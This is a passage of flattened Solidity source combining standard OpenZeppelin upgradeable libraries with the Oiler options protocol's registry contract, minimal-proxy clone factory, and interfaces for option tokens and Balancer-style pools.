* overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20PermitUpgradeable { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../math/SafeMathUpgradeable.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library CountersUpgradeable { using SafeMathUpgradeable for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712Upgradeable is Initializable { /* solhint-disable var-name-mixedcase */ bytes32 private _HASHED_NAME; bytes32 private _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ function __EIP712_init(string memory name, string memory version) internal initializer { __EIP712_init_unchained(name, version); } function __EIP712_init_unchained(string memory name, string memory version) internal initializer { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal virtual view returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal virtual view returns (bytes32) { return _HASHED_VERSION; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import {IBPool} from "./IBPool.sol"; interface IBRouter { function addLiquidity( address tokenA, address tokenB, uint256 amountA, uint256 amountB ) external returns (uint256 poolTokens); function removeLiquidity( address tokenA, address tokenB, uint256 poolAmountIn ) external returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline, uint256 maxPrice ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter); function getPoolByTokens(address tokenA, address tokenB) external view returns (IBPool pool); } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC20Permit} from "@openzeppelin/contracts/drafts/IERC20Permit.sol"; import {IOilerCollateral} from "./IOilerCollateral.sol"; interface IOilerOptionBase is IERC20, IERC20Permit { function optionType() external view returns (string memory); function collateralInstance() external view returns (IOilerCollateral); function isActive() external view returns (bool active); function hasExpired() external view returns (bool); function hasBeenExercised() external view returns (bool); function put() external view returns (bool); function write(uint256 _amount) external; function write(uint256 _amount, address _writer) external; function write( uint256 _amount, address _writer, address _holder ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; interface IBPool { function getSpotPrice(address tokenIn, address tokenOut) external view returns (uint256 spotPrice); function getSpotPriceSansFee(address tokenIn, address tokenOut) external view returns (uint256 spotPrice); function swapExactAmountIn( address tokenIn, uint256 tokenAmountIn, address tokenOut, uint256 minAmountOut, uint256 maxPrice ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter); function transferFrom( address src, address dst, uint256 amt ) external returns (bool); function approve(address dst, uint256 amt) external returns (bool); function transfer(address dst, uint256 amt) external returns (bool); function balanceOf(address whom) external view returns (uint256); function joinPool(uint256 poolAmountOut, uint256[] calldata maxAmountsIn) external; function exitPool(uint256 poolAmountIn, uint256[] calldata minAmountsOut) external; function finalize() external; function rebind( address token, uint256 balance, uint256 denorm ) external; function setSwapFee(uint256 swapFee) external; function setPublicSwap(bool publicSwap) external; function bind( address token, uint256 balance, uint256 denorm ) external; function unbind(address token) external; function gulp(address token) external; function isBound(address token) external view returns (bool); function getBalance(address token) external view returns (uint256); function totalSupply() external view returns (uint256); function getSwapFee() external view returns (uint256); function isPublicSwap() external view returns (bool); function getDenormalizedWeight(address token) external view returns (uint256); function getTotalDenormalizedWeight() external view returns (uint256); // solhint-disable-next-line func-name-mixedcase function EXIT_FEE() external view returns (uint256); function calcPoolOutGivenSingleIn( uint256 tokenBalanceIn, uint256 tokenWeightIn, uint256 poolSupply, uint256 totalWeight, uint256 tokenAmountIn, uint256 swapFee ) external pure returns (uint256 poolAmountOut); function calcSingleInGivenPoolOut( uint256 tokenBalanceIn, uint256 tokenWeightIn, uint256 poolSupply, uint256 totalWeight, uint256 poolAmountOut, uint256 swapFee ) external pure returns (uint256 tokenAmountIn); function calcSingleOutGivenPoolIn( uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 poolSupply, uint256 totalWeight, uint256 poolAmountIn, uint256 swapFee ) external pure returns (uint256 tokenAmountOut); function calcPoolInGivenSingleOut( uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 poolSupply, uint256 totalWeight, uint256 tokenAmountOut, uint256 swapFee ) external pure returns (uint256 poolAmountIn); function getCurrentTokens() external view returns (address[] memory tokens); } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; pragma abicoder v2; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {IOilerOptionBaseFactory} from "./interfaces/IOilerOptionBaseFactory.sol"; import {IOilerOptionBase} from "./interfaces/IOilerOptionBase.sol"; import {IOilerOptionsRouter} from "./interfaces/IOilerOptionsRouter.sol"; contract OilerRegistry is Ownable { uint256 public constant PUT = 1; uint256 public constant CALL = 0; /** * @dev Active options store, once the option expires the mapping keys are replaced. * option type => option contract. */ mapping(bytes32 => address[2]) public activeOptions; /** * @dev Archived options store. * Once an option expires and is replaced it's pushed to an array under it's type key. * option type => option contracts. */ mapping(bytes32 => address[]) public archivedOptions; /** * @dev Stores supported types of options. */ bytes32[] public optionTypes; // Array of all option types ever registered /** * @dev Indicates who's the factory of specific option types. * option type => factory. */ mapping(bytes32 => address) public factories; IOilerOptionsRouter public optionsRouter; constructor(address _owner) Ownable() { Ownable.transferOwnership(_owner); } function registerOption(address _optionAddress, string memory _optionType) external { require(address(optionsRouter) != address(0), "OilerRegistry.registerOption: router not set"); bytes32 optionTypeHash = keccak256(abi.encodePacked(_optionType)); // Check if caller is factory registered for current option. require(factories[optionTypeHash] == msg.sender, "OilerRegistry.registerOption: not a factory."); // Ensure that contract under address is an option. require( IOilerOptionBaseFactory(msg.sender).isClone(_optionAddress), "OilerRegistry.registerOption: invalid option contract." ); uint256 optionDirection = IOilerOptionBase(_optionAddress).put() ? PUT : CALL; // Ensure option is not being registered again. require( _optionAddress != activeOptions[optionTypeHash][optionDirection], "OilerRegistry.registerOption: option already registered" ); // Ensure currently set option is expired. if (activeOptions[optionTypeHash][optionDirection] != address(0)) { require( !IOilerOptionBase(activeOptions[optionTypeHash][optionDirection]).isActive(), "OilerRegistry.registerOption: option still active" ); } archivedOptions[optionTypeHash].push(activeOptions[optionTypeHash][optionDirection]); activeOptions[optionTypeHash][optionDirection] = _optionAddress; optionsRouter.setUnlimitedApprovals(IOilerOptionBase(_optionAddress)); } function setOptionsTypeFactory(string memory _optionType, address _factory) external onlyOwner { bytes32 optionTypeHash = keccak256(abi.encodePacked(_optionType)); require(_factory != address(0), "Cannot set factory to 0x0"); require(factories[optionTypeHash] != address(0), "OptionType wasn't yet registered"); if (_factory != address(uint256(-1))) { // Send -1 if you want to remove the factory and disable this optionType require( optionTypeHash == keccak256( abi.encodePacked( IOilerOptionBase(IOilerOptionBaseFactory(_factory).optionLogicImplementation()).optionType() ) ), "The factory is for different optionType" ); } factories[optionTypeHash] = _factory; } function registerFactory(address factory) external onlyOwner { bytes32 optionTypeHash = keccak256( abi.encodePacked( IOilerOptionBase(IOilerOptionBaseFactory(factory).optionLogicImplementation()).optionType() ) ); require(factories[optionTypeHash] == address(0), "The factory for this OptionType was already registered"); factories[optionTypeHash] = factory; optionTypes.push(optionTypeHash); } function setOptionsRouter(IOilerOptionsRouter _optionsRouter) external onlyOwner { optionsRouter = _optionsRouter; } function getOptionTypesLength() external view returns (uint256) { return optionTypes.length; } function getOptionTypeAt(uint256 _index) external view returns (bytes32) { return optionTypes[_index]; } function getOptionTypeFactory(string memory _optionType) external view returns (address) { return factories[keccak256(abi.encodePacked(_optionType))]; } function getAllArchivedOptionsOfType(bytes32 _optionType) external view returns (address[] memory) { return archivedOptions[_optionType]; } function getAllArchivedOptionsOfType(string memory _optionType) external view returns (address[] memory) { return archivedOptions[keccak256(abi.encodePacked(_optionType))]; } function checkActive(string memory _optionType) public view returns (bool, bool) { bytes32 id = keccak256(abi.encodePacked(_optionType)); return checkActive(id); } function checkActive(bytes32 _optionType) public view returns (bool, bool) { return ( activeOptions[_optionType][CALL] != address(0) ? IOilerOptionBase(activeOptions[_optionType][CALL]).isActive() : false, activeOptions[_optionType][PUT] != address(0) ? IOilerOptionBase(activeOptions[_optionType][PUT]).isActive() : false ); } function getActiveOptions(bytes32 _optionType) public view returns (address[2] memory result) { (bool isCallActive, bool isPutActive) = checkActive(_optionType); if (isCallActive) { result[0] = activeOptions[_optionType][0]; } if (isPutActive) { result[1] = activeOptions[_optionType][1]; } } function getActiveOptions(string memory _optionType) public view returns (address[2] memory result) { return getActiveOptions(keccak256(abi.encodePacked(_optionType))); } function getArchivedOptions(bytes32 _optionType) public view returns (address[] memory result) { (bool isCallActive, bool isPutActive) = checkActive(_optionType); uint256 extraLength = 0; if (!isCallActive) { extraLength++; } if (!isPutActive) { extraLength++; } uint256 archivedLength = getArchivedOptionsLength(_optionType); result = new address[](archivedLength + extraLength); for (uint256 i = 0; i < archivedLength; i++) { result[i] = archivedOptions[_optionType][i]; } uint256 cursor; if (!isCallActive) { result[archivedLength + cursor++] = activeOptions[_optionType][0]; } if (!isPutActive) { result[archivedLength + cursor++] = activeOptions[_optionType][1]; } return result; } function getArchivedOptions(string memory _optionType) public view returns (address[] memory result) { return getArchivedOptions(keccak256(abi.encodePacked(_optionType))); } function getArchivedOptionsLength(string memory _optionType) public view returns (uint256) { return archivedOptions[keccak256(abi.encodePacked(_optionType))].length; } function getArchivedOptionsLength(bytes32 _optionType) public view returns (uint256) { return archivedOptions[_optionType].length; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; // TODO rename CloneFactory. contract ProxyFactory { function _createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function _isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and(eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; interface IOilerOptionBaseFactory { function optionLogicImplementation() external view returns (address); function isClone(address _query) external view returns (bool); function createOption( uint256 _strikePrice, uint256 _expiryTS, bool _put, address _collateral, uint256 _collateralToPushIntoAmount, uint256 _optionsToPushIntoPool ) external returns (address optionAddress); } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; pragma abicoder v2; import "./IOilerOptionBase.sol"; import "./IOilerRegistry.sol"; import "./IBRouter.sol"; interface IOilerOptionsRouter { // TODO add expiration? struct Permit { uint8 v; bytes32 r; bytes32 s; } function registry() external view returns (IOilerRegistry); function bRouter() external view returns (IBRouter); function setUnlimitedApprovals(IOilerOptionBase _option) external; function write(IOilerOptionBase _option, uint256 _amount) external; function write( IOilerOptionBase _option, uint256 _amount, Permit calldata _permit ) external; function writeAndAddLiquidity( IOilerOptionBase _option, uint256 _amount, uint256 _liquidityProviderCollateralAmount ) external; function writeAndAddLiquidity( IOilerOptionBase _option, uint256 _amount, uint256 _liquidityProviderCollateralAmount, Permit calldata _writePermit, Permit calldata _liquidityAddPermit ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import "./IOilerOptionsRouter.sol"; interface IOilerRegistry { function PUT() external view returns (uint256); function CALL() external view returns (uint256); function activeOptions(bytes32 _type) external view returns (address[2] memory); function archivedOptions(bytes32 _type, uint256 _index) external view returns (address); function 